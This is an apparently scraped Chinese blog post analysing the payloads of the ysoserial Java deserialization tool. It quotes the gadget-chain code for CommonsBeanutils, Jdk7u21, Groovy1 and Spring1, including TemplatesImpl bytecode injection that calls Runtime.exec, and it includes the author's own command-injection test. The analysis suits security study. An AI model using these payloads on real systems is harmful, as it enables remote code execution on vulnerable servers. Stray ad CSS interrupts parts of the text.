浅谈java反序列化工具ysoserial

前言css


  关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,形成的反序列化问题。然而,在下载老外的ysoserial工具并仔细看看后,我发现了许多值得学习的知识。html

至少能学到以下内容:java

  不一样反序列化payload玩法灵活运用了反射机制和动态代理机制构造POCgit

  java反序列化不只是有Apache Commons Collections这样一种玩法。还有以下payload玩法:github

CommonsBeanutilsCollectionsLogging1所需第三方库文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2 CommonsCollections1所需第三方库文件: commons-collections:3.1 CommonsCollections2所需第三方库文件: commons-collections4:4.0 CommonsCollections3所需第三方库文件: commons-collections:3.1(CommonsCollections1的变种) CommonsCollections4所需第三方库文件: commons-collections4:4.0(CommonsCollections2的变种) Groovy1所需第三方库文件: org.codehaus.groovy:groovy:2.3.9 Jdk7u21所需第三方库文件: 只需JRE版本 <= 1.7u21 Spring1所需第三方库文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASEweb

  上面标注了payload使用状况下所依赖的包,诸位能够在源码中看到,根据实际状况选择。spring

  经过对该攻击代码的分析,能够学习java的一些有意思的知识。并且,里面写的java代码也很值得学习,巧妙运用了反射机制去解决问题。老外写的POC仍是很精妙的。shell

准备工做apache


  在github上下载ysoserial工具。使用maven进行编译成Eclipse项目文件,mvn eclipse:eclipse。要你联网下载依赖包,请耐心等待。若是卡住了,中止后再次执行该命令。api

  导入后,能够看到里面有8个payload。其中ObjectPayload是定义的接口,全部的Payload须要实现这个接口的getObject方法。下面就开始对这些payload进行简要的分析。

  \

payload分析


  1. CommonsBeanutilsCollectionsLogging1

    该payload的要求依赖包挺多的,可能碰到的状况不会太多,但用到的技术是极好的。对这个payload执行的分析,请阅读参考资源第一个的分析文章。

    先直接看代码:

#!javapublic Object getObject(final String command) throws Exception {    final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);    // mock method name until armed    final BeanComparator comparator = new BeanComparator("lowestSetBit");    // create queue with numbers and basic comparator    final PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);    // stub data for replacement later    queue.add(new BigInteger("1"));    queue.add(new BigInteger("1"));    // switch method called by comparator    Reflections.setFieldValue(comparator, "property", "outputProperties");    //Reflections.setFieldValue(comparator, "property", "newTransformer");    //这里因为比较器的代码,只能访问内部属性。因此选择outputProperties属性。 进而调用getOutputProperties方法。  @angelwhu    // switch contents of queue    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");    queueArray[0] = templates;    queueArray[1] = templates;    return queue;}</object></object>

    第一行代码final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);建立了TemplatesImpl类的对象,里面封装了咱们须要的命令执行代码。并且是使用字节码的形式存储在对象属性中。
    下面就具体分析下这个对象的产生过程。

    (1) 利用TemplatesImpl类存储危险的字节码

      在产生字节码时,用到了JDK中javassist类。具体了解能够参考这篇博客http://www.cnblogs.com/hucn/p/3636912.html
      下面是我编写的一个简单的样例程序,便于理解:

#!java@Testpublic void testClassPool() throws CannotCompileException, NotFoundException, IOException{    String command = "calc";    ClassPool pool = ClassPool.getDefault();    pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class));    CtClass cc = pool.get(angelwhu.model.Point.class.getName());    //System.out.println(angelwhu.model.Point.class.getName());    cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");    //加入关键执行代码,生成一个静态函数。    String newClassNameString = "angelwhu.Pwner" + System.nanoTime();    cc.setName(newClassNameString);    CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);    cc.addMethod(mthd);    cc.writeFile();}

      上述代码首先获取到class定义的容器ClassPool,并找到了我自定义的Point类,由今生成了cc对象。这样就能够开始对类进行修改的任意操做了。并且这个操做是直接写字节码。这样能够绕过许多安全机制,正像工具中注释说的:

        // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

 

      后面的操做即是利用我自定义的模板类Point,生成新的类名,并使用insertAfter方法插入了恶意java代码,执行命令。有兴趣的能够再详细了解这个类的用法。这里再也不赘述。

      这段代码运行后,会在当前目录生成字节码(class文件)。使用java反编译器可看到源码,在原始模板类中插入了恶意静态代码,并且以字节码的形式直接存储。命令行直接运行,能够执行弹出计算器的命令:

      \

      如今看看老外工具中,生成字节码的代码为:

#!javapublic static TemplatesImpl createTemplatesImpl(final String command) throws Exception {    final TemplatesImpl templates = new TemplatesImpl();    // use template gadget class    ClassPool pool = ClassPool.getDefault();    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));    final CtClass clazz = pool.get(StubTransletPayload.class.getName());    // run command in static initializer    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections    clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)    clazz.setName("ysoserial.Pwner" + System.nanoTime());    final byte[] classBytes = clazz.toBytecode();    // inject class bytes into instance    Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {        classBytes,        ClassFiles.classAsBytes(Foo.class)});    // required to make TemplatesImpl happy    Reflections.setFieldValue(templates, "_name", "Pwnr");    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());    return templates;}

 

      根据以上样例分析,能够清楚看见:前面几行代码,即生成了咱们须要的插入了恶意java代码的字节码数据。该字节码其实能够看作是一个类(.class)文件。final byte[] classBytes = clazz.toBytecode();将其转成了二进制数据进行存储。

      Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});这里又来到了一个有趣知识,那就是java反射机制的强大。ysoserial工具封装了使用反射机制对对象的一些操做,能够直接借鉴。

      具体能够看看其源码,这里在工具中常用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,即是使用反射机制,将obj对象的fieldName属性赋值为value。反射机制的强大之处在于:

      能够动态对对象的私有属性进行改变赋值,即:private修饰的属性。动态生成任意类对象。

      因而,咱们便将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类生成的对象templates中的_bytecodes属性,_name属性,_tfactory属性赋值成咱们但愿的值。

      重点在于_bytecodes属性,里面存储了咱们的恶意java代码。如今的问题即是:如何触发加载咱们的恶意java字节码?

    (2) 触发TemplatesImpl类加载_bytecodes属性中的字节码

      在TemplatesImpl类中存在执行链:

#!javaTemplatesImpl.getOutputProperties()  TemplatesImpl.newTransformer()    TemplatesImpl.getTransletInstance()      TemplatesImpl.defineTransletClasses()        ClassLoader.defineClass()        Class.newInstance()          ...            MaliciousClass.<clinit>()            //class新建初始化对象后,会执行恶意类中的静态方法,即:咱们插入的恶意java代码              ...                Runtime.exec()//这里能够是任意java代码,好比:反弹shell等等。  </clinit>

      这在ysoserial工具中的注释中是能够看到的。在源码中,咱们从TemplatesImpl.getOutputProperties()开始跟踪,不难发现上面的执行链。最终会在getTransletInstance方法中看到以下触发加载自定义ja字节码部分的代码:

#!javaprivate Translet getTransletInstance()throws TransformerConfigurationException {    .............    if (_class == null) defineTransletClasses();//经过ClassLoader加载字节码,存储在_class数组中。    // The translet needs to keep a reference to all its auxiliary     // class to prevent the GC from collecting them    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建实例,触发恶意代码。     ............

      在defineTransletClasses()方法中,会加载咱们以前存储在_bytecodes属性中的字节码(能够看作类文件),进而返回类的Class对象,存储在_class数组中。下面是调试时候的截图:

      \

      能够看到在defineTransletClasses()后,获得类的Class对象。而后会执行newInstance()操做,新建一个实例,这样便触发了咱们插入的静态恶意java代码。若是接着单步执行,便会弹出计算器。

经过以上分析,能够看到:

      只要可以自动触发TemplatesImpl.getOutputProperties()方法执行,咱们就能达到目的了。 (3) 利用BeanComparator比较器触发执行

      咱们接着看payload的代码:

#!javafinal BeanComparator comparator = new BeanComparator("lowestSetBit");// create queue with numbers and basic comparatorfinal PriorityQueue<object> queue = new PriorityQueue<object>(2, comparator);// stub data for replacement laterqueue.add(new BigInteger("1"));queue.add(new BigInteger("1"));</object></object>

      很简单,将PriorityQueue(优先级队列)插入两个元素,并且须要一个实现了Comparator接口的比较器,对元素进行比较,并对元素进行排队处理。具体能够看看PriorityQueue类的readObject()方法。

#!javaprivate void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {    ...........    queue = new Object[size];    // Read in all elements.    for (int i = 0; i < size; i++)        queue[i] = s.readObject();    // Elements are guaranteed to be in "proper order", but the    // spec has never explained what that might be.    heapify();}

      从对象反序列化过程原理,能够知道会首先调用该对象readObject()。固然在序列化过程当中会首先调用该对象的writeObject()方法。这两个方法能够对比着看,方便理解。

      首先,在序列化PriorityQueue类实例时,会依次读取队列中的对象,并放到数组中进行存储。queue[i] = s.readObject();而后,进行排序操做heapify();。最终会到达这里,调用比较器的compare()方法,对元素间进行比较。

#!javaprivate void siftDownUsingComparator(int k, E x) {    .........................        if (comparator.compare(x, (E) c) <= 0)            break;    .........................}

      这里传进去的,即是BeanComparator比较器:位于commons-beanutils包。
      因而,看看比较器的compare方法。

#!javapublic int compare( T o1, T o2 ) {        ..................        Object value1 = PropertyUtils.getProperty( o1, property );        Object value2 = PropertyUtils.getProperty( o2, property );        return internalCompare( value1, value2 );             ..................    }

      o1,o2即是要比较的两个对象,property即咱们须要比较对象中的属性(可控)。一开始property赋值为lowestSetBit,后来改为真正须要的outputProperties属性。

      PropertyUtils.getProperty( o1, property )顾名思义,即是取出o1对象中property属性的值。而实际上会去调用o1.getProperty()方法获得property属性值。

      到这里,能够画上完美的一个圈了。咱们只需将前面构造好的TemplatesImpl对象添加到PriorityQueue(优先级队列)中,而后设置比较器为BeanComparator("outputProperties")便可。
      那么,在反序列化过程当中,会自动调用TemplatesImpl.getOutputProperties()方法。执行命令了。

    我的总结观点:

      只须要想办法:自动调用TemplatesImpl的getOutputProperties方法。或者TemplatesImpl.newTransformer()即能自动加载字节码,触发恶意代码。这也在其余payload中常常用到。 触发原理:提供会自动调用比较器的容器。如:将PriorityQueue换成TreeSet容器,也是能够的。

      为了在生成payload时,可以正常运行。在代码中,先象征性地加入了两个BigInteger对象。
      后面使用反射机制,将comparator中的属性和queue容器存储的对象都改为咱们须要的属性和对象。
      不然,在生成payload时,便会弹出计算器,抛出异常,没法正常执行了。测试以下:

      \

  2. Jdk7u21

    该payload实际上是JAVA SE的一个漏洞,ysoserial工具注释中有连接:https://gist.github.com/frohoff/24af7913611f8406eaf3。该payload不须要使用任何第三方库文件,只需官方提供的JDK便可,这个很方便啊。 不知Jdk7u21之后怎么补的,先来看看它的实现。

    在介绍完上面这个payload后,再来看这个能够发现:CommonsBeanutilsCollectionsLogging1借鉴了Jdk7u21的利用方法。

    一样,Jdk7u21开始便建立了一个存储了恶意java字节码数据的TemplatesImpl类对象。接下来就是怎么触发的问题了:如何自动触发TemplatesImpl的getOutputProperties方法。

    这里首先就有一个有趣的hash碰撞问题了。

    (1) "f5a5a608"的hash值为0

      类的hashCode方法是返回一个独一无二的hash值(int型),去表明这个惟一对象。若是类没有重写hashCode方法,会调用原始Object类中的hashCode方法返回一个hash值。
      String类的hashCode方法是这么实现的。

#!java    public int hashCode() {    int h = hash;    int len = count;    if (h == 0 && len > 0)     {        int off = offset;        char val[] = value;        for (int i = 0; i < len; i++) {            h = 31*h + val[off++];        }        hash = h;    }    return h;}

      因而,就有了有趣的值:

#!javaString zeroHashCodeStr = "f5a5a608";int hash3 = zeroHashCodeStr.hashCode();System.out.println(hash3);

      能够看到"f5a5a608"字符串,经过hashCode方法生成的hash值为0。这在以后的触发过程当中会用到。

    (2) 利用动态代理机制触发执行

      Jdk7u21中使用了HashSet容器进行触发。添加了两个对象,一个是存储了恶意java字节码数据的TemplatesImpl类对象templates,一个是代理了Templates接口的proxy对象,使用了动态代理机制。

      以下是Jdk7u21生成payload时的主要代码:

#!java......InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);......LinkedHashSet set = new LinkedHashSet(); // maintain orderset.add(templates);set.add(proxy);......return set;

      HashSet容器,就能够当作是一个HashMap<key,new>,key即是咱们存储进去的数据,对应的value都只是静态的Object对象。

      一样,来看看HashSet容器中的readObject方法。

#!javaprivate void readObject(java.io.ObjectInputStream s)    throws java.io.IOException, ClassNotFoundException {....................// Read in all elements in the proper order.    for (int i=0; i<size; e="" pre=""><p>实际上,这里map能够看作是HashMap类生成的对象。接着追踪源码就到了关键的地方:</p><pre class="brush:java;">#!javapublic V put(K key, V value) {    .........    int hash = hash(key.hashCode());    int i = indexFor(hash, table.length);    for (Entry<k,v> e = table[i]; e != null; e = e.next) {        Object k;        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此处逻辑,须要使其触发key.equals(k)操做。            ..........        }    }    .........}</k,v></pre>
<k,v>
<p>经过以上分析下能够知道:在反序列化HashSet过程当中,会依次将templates和proxy对象添加到map中。</p>
<p>接着咱们须要触发代码去执行key.equals(k)这条语句。<br>
因为<strong>短路机制</strong>的缘由,必须使templates.hashCode()与proxy.hashCode()计算值相等。</p>
<p>proxy使用了<strong>动态代理</strong>机制,代理了Templates接口。具体请参考其余分析老外LazyMap触发Apache Commons Collections第三库序列化问题的文章,如:参考资料2。</p>
<p>这里又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler类。<br>
简而言之,我理解为将对象proxy全部的方法调用,都改为调用sun.reflect.annotation.AnnotationInvocationHandler类的invoke()方法。</p>
<p>当咱们调用proxy.hashCode()方法时,天然就会执行到了以下代码:</p>
<pre class="brush:java;">#!javapublic Object invoke(Object proxy, Method method, Object[] args) {    String member = method.getName();    ............    if (member.equals("hashCode"))        return hashCodeImpl();        ..........private int hashCodeImpl() {    int result = 0;    for (Map.Entry<string, object=""> e : memberValues.entrySet()) {        result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()为0。"f5a5a608".hashCode()=0;            memberValueHashCode(e.getValue());    }    return result;}</string,></pre>
<string, object="">
<p>这里的memberValues就是payload代码一开始传进去的map("f5a5a608",templates)。简要画图说明为:</p>
<p><img alt="\" src="/uploadfile/Collfiles/20160402/2016040209195853.png" style="width: 630px; height: 356.156px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f454ec70by">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;width:100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;width:auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{width:20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{width:40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;width:18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
.imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;width:96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{width:100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;width:22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
.imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;width:16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;width:34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
.imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f454ec70by" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none; width: 630px; display: block;"><div class="imageplus-append-box" id="w-irrzhi">
<div id="w-irrzhi-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
</div></div></p>
<p>所以,经过动态代理机制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。<br>
这样即可以执行key.equals(k),即:proxy.equals(templates)语句。</p>
<p>接着查看源码便知:proxy.equals(templates)操做会遍历Templates接口的全部方法,并调用。如此,便可触发调用templates的getOutputProperties方法。</p>
<pre class="brush:java;">#!javaif (member.equals("equals") && paramTypes.length == 1 &&        paramTypes[0] == Object.class)        return equalsImpl(args[0]);.......................... private Boolean equalsImpl(Object o) {..........................    for (Method memberMethod : getMemberMethods()) {        String member = memberMethod.getName();        Object ourValue = memberValues.get(member);..........................                hisValue = memberMethod.invoke(o);//触发调用getOutputProperties方法</pre>
<p>如此,Jdk7u21的payload便也完美触发了。</p>
<p>一样,为了正常生成payload不抛出异常。先暂时存储map.put(zeroHashCodeStr, "foo");,后面替换为真正咱们所需的对象:map.put(zeroHashCodeStr, templates); // swap in real object</p>
<p>总结一下:</p>
技术关键在于巧妙的利用了"f5a5a608"hash值为0。实现了hash碰撞成立。 AnnotationInvocationHandler对于equal方法的处理,可使咱们调用目标方法getOutputProperties。
<p>计算hash值部分的内容还挺有意思。有兴趣能够到参考连接中github上看看个人测试代码。</p>
3. Groovy1
<p>这个payload和最近Xstream反序列化漏洞的POC原理有类似性。请参考:http://drops.wooyun.org/papers/13243。</p>
<p>下面谈谈这个payload不同的地方。 payload使用了Groovy库中ConvertedClosure类。该类实现了InvocationHandler和Serializable接口,一样能够用做动态代理而且能够序列化传输。代码也只有几行:</p>
<pre class="brush:java;">#!javafinal ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet");final Map map = Gadgets.createProxy(closure, Map.class);        final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map);return handler;</pre>
<p>当反序列化handler时,会调用map.entrySet方法。因而,就调用代理类ConvertedClosure的invoke方法了。最终,来到了:</p>
<pre class="brush:java;">#!javapublic Object invokeCustom(Object proxy, Method method, Object[] args)throws Throwable {    if (methodName!=null && !methodName.equals(method.getName())) return null;    return ((Closure) getDelegate()).call(args);//传入的是MethodClosure}  </pre>
<p>而后和XStream同样,调用MethodClosure.doCall()方法。即:Groovy语法中"command".execute(),顺利执行命令。</p>
<p>我的总结:</p>
能够看到动态代理机制的强大做用。4. Spring1
<p>Spring1这个payload执行链有些复杂。按照常规步骤来分析下:</p>
<p>反序列化对象的readObject()方法为入口点进行跟踪。这里是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider。</p>
<pre class="brush:java;">#!javaprivate void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {    inputStream.defaultReadObject();    Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);    this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());}</pre>
<p>很明显的嗅到了感兴趣的"味道":ReflectionUtils.invokeMethod。接下来联系payload源码跟进下,或者单步调试。</p>
因为流程可能比较错综复杂,画个简单的图表示下几个对象之间的关系:
<p><img alt="\" src="/uploadfile/Collfiles/20160402/2016040209195854.png" style="width: 630px; height: 429.281px;"><style type="text/css" media="screen" id="s-f21ac82b21eeb7322631b6aa94e17f455twhnh7">.imageplus-append-lu-img-txt{overflow:hidden;margin:10px 0}.imageplus-append-nova-txt{border:1px solid #f2f2f2;box-sizing:border-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item{position:relative;width:100%;height:50px;background-color:#fff}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item a:hover{text-decoration:underline}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis;width:auto;height:25px;line-height:25px;margin:0 16px;font-weight:normal}
.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title span{font-size:14px;font-weight:bold;color:#003397}.imageplus-append-nova-txt .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc span{font-size:12px;color:#333}.imageplus-append-jian{width:20px;height:20px;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_jian_151204.png);background-repeat:no-repeat;background-position:0 0;position:absolute;top:0;left:0}.imageplus-append-close-btn{width:40px;height:40px;position:absolute;right:0;top:0;background-image:url(http://ecmb.bdimg.com/public03/imageplus_m_append_close_btn_151113.png);background-repeat:no-repeat;background-position:0 0;display:none}.imageplus-append-logo{height:18px;width:18px;background:url(http://cpro.baidustatic.com/cpro/ui/noexpire/img/2.0.1/bg.png) no-repeat left top;position:absolute;right:0;bottom:0}
.imageplus-append-nova-txt-ue2{font-family:Microsoft YaHei;float:left;border:1px solid #ddd;border-top:3px solid #ff2f62;background-color:#f9f9f9}.imageplus-append-nova-txt-ue2 a:focus{outline:0}.imageplus-append-nova-txt-ue2 .imageplus-append-content{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item{margin-left:44px;height:60px;padding-top:5px;padding-bottom:5px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item div{word-break:keep-all;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title{height:30px;line-height:30px;font-size:16px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title a{color:#000}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-true{float:left}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click{float:left;width:96px}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-title .imageplus-append-nova-txt-title-click a{color:#ff2f62}.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc{height:26px;line-height:26px;font-size:12px}
.imageplus-append-nova-txt-ue2 .imageplus-append-content .imageplus-append-nova-txt-ad-item .imageplus-append-nova-txt-ad-item-desc a{color:#7b7b7b}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn{float:right;margin-top:19px;margin-right:18px}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn a{text-decoration:none}.imageplus-append-nova-txt-ue2 .imageplus-append-go-btn div{width:100px;height:32px;line-height:32px;text-align:center;background-color:#ff2f62;border:0;-webkit-border-radius:16px;-moz-border-radius:16px;border-radius:16px;color:#fff;font-family:Microsoft YaHei;font-size:16px;cursor:pointer}.imageplus-append-nova-txt-ue2 .imageplus-append-jian{position:absolute;top:3px;left:10px;width:22px;height:40px;background-image:url(http://ecma.bdimg.com/public03/imageplus/append/nova_txt_star_160426.png);background-position:0 0;background-repeat:no-repeat}
.imageplus-append-nova-txt-ue2 .imageplus-append-close-btn{display:none}.imageplus-append-nova-txt-ue2 .imageplus-append-logo{display:none}.imageplus-append-nova-txt-ue2 .imageplus-baidu-logo{position:absolute;bottom:0;right:0;z-index:9999;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 -17px;width:16px;height:16px}.imageplus-append-nova-txt-ue2 .imageplus-ad-logo{position:absolute;left:0;bottom:0;overflow:hidden;z-index:12;background:url(http://ecma.bdimg.com/public03/imageplus/logo.png) no-repeat;background-position:0 0;width:34px;height:16px}.imageplus-append{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;position:relative;text-indent:0;display:inline-block}
.imageplus-append div{float:none;margin:0;padding:0;border:0;overflow:hidden;position:static;display:block;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}.imageplus-append a,.imageplus-append img,.imageplus-append span{float:none;margin:0;padding:0;border:0;overflow:visible;position:static;display:inline;visibility:visible;text-align:left;background:transparent;-webkit-box-sizing:content-box;box-sizing:content-box;font-family:Microsoft YaHei;line-height:normal}</style><div class="imageplus-append" id="f21ac82b21eeb7322631b6aa94e17f455twhnh7" data-rendered="true" style="margin: 0px auto 0px 0px; padding: 0px; border: none; width: 630px; display: block;"><div class="imageplus-append-box" id="w-wltxah">
<div id="w-wltxah-widget-isolated-host" style="overflow:visible;box-sizing:content-box;position:static;display:block;padding:0;margin:0;border:none;"></div>
</div></div></p>
<p>在执行ReflectionUtils.invokeMethod(method, this.provider.getType())语句时,整个执行流程以下:</p>
<pre class="brush:java;">#!javaReflectionUtils.invokeMethod()    Method.invoke(typeTemplatesProxy对象)        //Method为Templates(Proxy).newTransformer()</pre>
<p>这是明显的一部分调用,在执行Templates(Proxy).newTransformer()时,会有余下过程发生:</p>
